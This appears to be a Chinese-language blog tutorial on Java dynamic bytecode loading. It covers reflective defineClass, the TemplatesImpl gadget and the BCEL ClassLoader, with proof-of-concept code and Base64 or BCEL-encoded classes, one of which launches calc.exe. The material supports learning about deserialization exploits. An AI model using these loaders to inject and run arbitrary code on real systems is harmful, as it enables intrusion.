Java安全之動態加載位元組碼

Java位元組碼

簡單說,Java位元組碼就是.class後綴的文件,裏面存放Java虛擬機執行的指令。
由於Java是一門跨平台的編譯型語言,所以可以適用於不同平台,不同CPU的計算機,開發者只需要將自己的代碼編譯一次,就可以運行在不同平台的JVM中。
甚至,開發者可以用類似Scala、Kotlin這樣的語言編寫代碼,只要你的編譯器能夠將代碼編譯成.class文
件,都可以在JVM虛擬機中運行:
uploading-image-878441.png

URLClassLoader加載遠程class文件

ClassLoader是一個加載器,就是用來告訴JVM虛擬機如何去加載這個類,默認的就是根據類名來加載類,這個類名需要是完整路徑,比如說java.lang.Runtime

URLClassLoader 實際上是我們平時默認使用的 AppClassLoader 的父類,所以,我們解釋
URLClassLoader 的工作過程實際上就是在解釋默認的Java類加載器的工作流程

正常情況下,Java會根據配置項 sun.boot.class.pathjava.class.path 中列舉到的基礎路徑(這
些路徑是經過處理後的 java.net.URL 類)來尋找.class文件來加載,而這個基礎路徑有分為三種情況:

  • URL未以斜杠 / 結尾,則認為是一個JAR文件,使用 JarLoader 來尋找類,即為在Jar包中尋找.class文件
  • URL以斜杠 / 結尾,且協議名是 file ,則使用 FileLoader 來尋找類,即為在本地文件系統中尋找.class文件
  • URL以斜杠 / 結尾,且協議名不是 file ,則使用最基礎的 Loader 來尋找類

使用Http協議測試,看Java是否能從遠程HTTP服務器上加載.class文件:
先編譯一個.class文件放在服務器上(這裡用自己Python起個服務器,就是訪問不到,氣死)

public class Hello {
    public Evil() throws Exception {
        
    }
}

利用ClassLoader#defineClass直接加載位元組碼

其實,不管是加載遠程class文件,還是本地的class或jar文件,Java都經歷的是下面這三個方法調用

ClassLoader#loadClass ---> ClassLoader#findClass ---> ClassLoader#defineClass
  • loadClass 的作用是從已加載的類緩存、父加載器等位置尋找類(這裡實際上是雙親委派機制),在前面沒有找到的情況下,執行 findClass
  • findClass 的作用是根據基礎URL指定的方式來加載類的位元組碼,就像上面說到的,可能會在
    本地文件系統、jar包或遠程http服務器上讀取位元組碼,然後交給 defineClass
  • defineClass 的作用是處理前面傳入的位元組碼,將其處理成真正的Java類

所以真正核心的部分其實是 defineClass ,他決定了如何將一段位元組流轉變成一個Java類,Java
默認的 ClassLoader#defineClass 是一個native方法,邏輯在JVM的C語言代碼中

native方法稱為本地方法。在java源程序中以關鍵字「native」聲明,不提供函數體。
其實現使用C/C++語言在另外的文件中編寫,編寫的規則遵循Java本地接口的規範(簡稱JNI)。
簡而言就是Java中聲明的可調用的使用C/C++實現的方法。

例子:

package org.gk0d;

import java.lang.reflect.Method;
import java.util.Base64;

public class HelloDefineClass {
    public static void main(String[] args) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA"+
                        "Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs"+
                        "bG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh"+
                        "L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry"+
                        "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n"+
                        "OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA"+
                        "AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length);
        hello.newInstance();
    }
}
//ClassLoader.getSystemClassLoader()返回系統的類加載器對象

裏面是Hello.class的base64編碼

注意:在 defineClass 被調用的時候,類對象是不會被初始化的,只有這個對象顯式地調用其構造
函數,初始化代碼才能被執行。而且,即使我們將初始化代碼放在類的static塊中,在 defineClass 時也無法被直接調用到。所以,如果我們要使用 defineClass 在目標機器上執行任意代碼,需要想辦法調用構造函數。

因為系統的 ClassLoader#defineClass 是一個保護屬性,所以我們無法直接在外部訪問,不得
不使用反射的形式來調用。
在實際場景中,因為defineClass方法作用域是不開放的,所以攻擊者很少能直接利用到它,但它卻是我
們常用的一個攻擊鏈 TemplatesImpl 的基石。

利用TemplatesImpl加載位元組碼

前面分析了defineClass方法並不好直接利用,但是Java底層還是有一些類用到了它,這就是 TemplatesImpl ,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 這個類中定義了一個內部類
TransletClassLoader :

static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;

     TransletClassLoader(ClassLoader parent) {
         super(parent);
        _loadedExternalExtensionFunctions = null;
    }

    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        // The _loadedExternalExtensionFunctions will be empty when the
        // SecurityManager is not set and the FSP is turned off
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
     }

    /**
     * Access to final protected superclass member from outer class.
     */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

這個類里重寫了 defineClass 方法,並且這裡沒有顯式地聲明其定義域。Java中默認情況下,如果一個
方法沒有顯式聲明作用域,其作用域為default。所以也就是說這裡的defineClass 由其父類的
protected類型變成了一個default類型的方法,可以被類外部調用。

TransletClassLoader#defineClass() 向前追溯一下調用鏈:

TransletClassLoader#defineClass() 
-> TemplatesImpl#defineTransletClasses() 
-> TemplatesImpl#getTransletInstance() 
-> TemplatesImpl#newTransformer() 
-> TemplatesImpl#getOutputProperties()

先看TemplatesImpl#defineTransletClasses()方法:

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);//在這裡調用了defineClass
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

但它是一個private方法,還是不能直接調用,繼續往上看到getTransletInstance()

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();//此處調用defineTransletClasses方法

            // The translet needs to keep a reference to all its auxiliary class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet)
                    _class[_transletIndex].getConstructor().newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setOverrideDefaultParser(_overrideDefaultParser);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException | IllegalAccessException |
                NoSuchMethodException | InvocationTargetException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString(), e);
        }
    }

還是private方法,繼續找到newTransformer()方法

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);//調用了getTransletInstance方法

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

是public方法了,可以直接調用,所以一條調用鏈就出來了

首先得設置TemplatesImpl對象的三個私有屬性,這裡我們用反射設置就行,三個屬性:_bytecodes_name_tfactory

  • _name:為任意字符串,只要不是null才可以進入defineTransletClasses()
  • _bytecodes:由位元組碼組成的數組,用來存放惡意代碼,其值不能為null
  • _tfactory 需要是一個 TransformerFactoryImpl 對象,因為TemplatesImpl#defineTransletClasses() 方法里有調用_tfactory.getExternalExtensionsMap() ,如果是null會出錯

另外TemplatesImpl 中對加載的位元組碼是有一定要求的:這個位元組碼對應的類必須是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子類
所以,我們需要構造一個特殊的類:

package org.gk0d;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    public HelloTemplatesImpl() {
        super();
        System.out.println("Hello TemplatesImpl");
    }
}

解釋以下為什麼多了兩個transform方法

這裡是因為子類需要實現父類裏面的抽象方法,同時因為父類是抽象類,可能沒有將接口的方法全部實現,
這時子類如果不是抽象的,那必須將其他接口方法都實現。
這裏面 `transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler)
是父類裏面的抽象方法所以要重寫
transform(DOM document, SerializationHandler[] handlers)是父類沒有實現接口的方法所以要重寫

同樣將其編譯為class文件,然後base64編碼
最後就是寫poc了,就新建一個TemplatesImpl對象,把屬性設置進去然後執行newTransformer方法觸發,主要是咱得先寫一個利用反射給私有屬性賦值的一個方法setFieldValue

package org.gk0d;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import java.lang.reflect.Field;
import java.util.Base64;

public class a {
    public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, Value);
    }

    public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +
                "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
                "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +
                "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +
                "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +
                "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +
                "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +
                "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +
                "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +
                "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
                "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
                "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +
                "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +
                "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +
                "DwABABAAAAACABE=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
}

利用BCEL ClassLoader加載位元組碼

關於BCEL先看看p神的://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel

被Apache Xalan所使用,而Apache Xalan又是Java內部對於JAXP的實現,所以BCEL也被包含在了JDK的
原生庫中。

BCEL屬於Apache Commons項目下的一個子項目,全名應Apache Commons BCE,它提供了一系列用於分析、修改和創建Java Class文件的API,從庫功能來看,使用性遠不及其他庫,但被Apache Xalan所使用,而Apache Xalan又是Java內部對於JAXP的實現,所以BCEL也被包含在了JDK的原生庫中位com.sun.org.apache.bcel。

BCEL包中有com.sun.org.apache.bcel.internal.util.ClassLoader類,它是一個ClassLoader,但重寫了Java內置的ClassLoader#LoadClass方法

在LoadClass中,會判斷類名是否是$$BCEL$$開頭,如果是的話,將會對這個字符串進行decode
來看一下decode的具體算法:

private static class JavaWriter extends FilterWriter {
    public JavaWriter(Writer out) {
      super(out);
    }

    public void write(int b) throws IOException {
      if(isJavaIdentifierPart((char)b) && (b != ESCAPE_CHAR)) {
        out.write(b);
      } else {
        out.write(ESCAPE_CHAR); // Escape character

        // Special escape
        if(b >= 0 && b < FREE_CHARS) {
          out.write(CHAR_MAP[b]);
        } else { // Normal escape
          char[] tmp = Integer.toHexString(b).toCharArray();

          if(tmp.length == 1) {
            out.write('0');
            out.write(tmp[0]);
          } else {
            out.write(tmp[0]);
            out.write(tmp[1]);
          }
        }
      }
    }

    public void write(char[] cbuf, int off, int len) throws IOException {
      for(int i=0; i < len; i++)
        write(cbuf[off + i]);
    }

    public void write(String str, int off, int len) throws IOException {
      write(str.toCharArray(), off, len);
    }
  }

可以理解為是傳統位元組碼的16進制編碼,然後將 \ 替換為 $ ,默認還會在最外層加上 GZip 壓縮

邊寫惡意類

package org.gk0d;

import java.io.IOException;

public class calc{
    static  {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

然後通過BCEL提供的兩個類Repositoryutility來利用:

Repository用於將一個Java Class先轉換成原生位元組碼(也可以直接javac編譯獲得);

utility用於將原生位元組碼轉換成BCEL格式的位元組碼
package org.gk0d;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

public class POP {
    public static void main(String[] args) throws Exception{
        JavaClass javaClass = Repository.lookupClass(calc.class);
        String code = Utility.encode(javaClass.getBytes(),true);
        System.out.println(code);
    }
}

最後用BCEL ClassLoader加載這串特殊的位元組碼,並執行裏面的代碼:

package org.gk0d;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class Test {
    public static void main(String[] args) throws Exception{
        c();
    }
    private static void b() throws Exception{
        JavaClass javaClass = Repository.lookupClass(a.class);
        String code = Utility.encode(javaClass.getBytes(),true);
        System.out.println(code);
    }
    private static void c() throws Exception {
        new ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2P$Q$3d$X$K$z$b5$I$82$f8$7e$3f$c1$85l$dci$dc$YM$8c$f5$R$n$ba$be$5co$f0$o$b6$a4$5c$M$7f$e4$da$8d$g$X$7e$80$le$9c$5e$VM$b4Ig$3a$e7$cc93$93$be$bd$bf$bc$C$d8$c2$9a$L$H$e3$$$s0$e9$60$w$ce$d36f$5c$a40kc$ce$c6$3cCzG$FJ$ef2$q$cb$95$L$Gk$_$bc$92$M9_$F$f2$a4w$db$90Q$9d7$da$84$U$fcP$f0$f6$F$8fT$5c$7f$81$96$beV$5d$92$fa$7c$9b$c1$d9$R$ed$_$_F$5c$c9o$f1$3b$5eUa$f5$f0t$bf$_dG$ab0$a0$b6lMsqs$cc$3b$c6$83$d6apka$_$S$f2$40$c5$9ei$be$Z$L$3dd$e0$daX$f0$b0$88$r2$a7$e1bS$f6$a5$87e$ac0$U$ff1$f7$b0$K$97$86s$86$bc$a1$db$3chVO$h$z$v4$c3$c8$Pt$de$L$b4$ba$a5YnS$eaAQ$wW$fc$3f$3d$b4$b0ES$F$c3z$f9$X$5b$d3$91$K$9a$db$bf$FgQ$ud$b7K$82$5c$87Hm$ce$acG$5cH$ba$c0$a6$ff$Q$3f$J$b0$f8$$$8aCTU$v3$ca$a9$8d$t$b0$HC$7b$U$d3$GL$oK$d1$fbl$c00r$94$j$e4$Hbn$cc$80$c23$S$85$e4$p$ac$cb$7b8G$h$8fH$3f$Y$3cC$da$U$b9$c4$8ec$f4$V$fbf$Mj$93$b3$83$Rr$fa$9e$90$85Eu$81$aa$o$bd6$S$be$8dQ$8b$88$92Yj$ec$D$e5$e5$f0$NQ$C$A$A").newInstance();
    }
}

代碼進行簡化後如下

package org.gk0d;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class Test {
    public static void main(String[] args) throws Exception {


        JavaClass javaClass = Repository.lookupClass(calc.class);
        String code = Utility.encode(javaClass.getBytes(), true);
        System.out.println(code);


        new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();

    }
}

總結

BCEL ClassLoader類和前面的
TemplatesImpl 都出自於同一個第三方庫,Apache Xalan,在Fastjson等漏洞的利用鏈構造時都有被用到
還有一個重要的利用條件就是在Java 8u251的更新中,這個ClassLoader被移除了,所以之後只能在這個之前的版本才可以利用。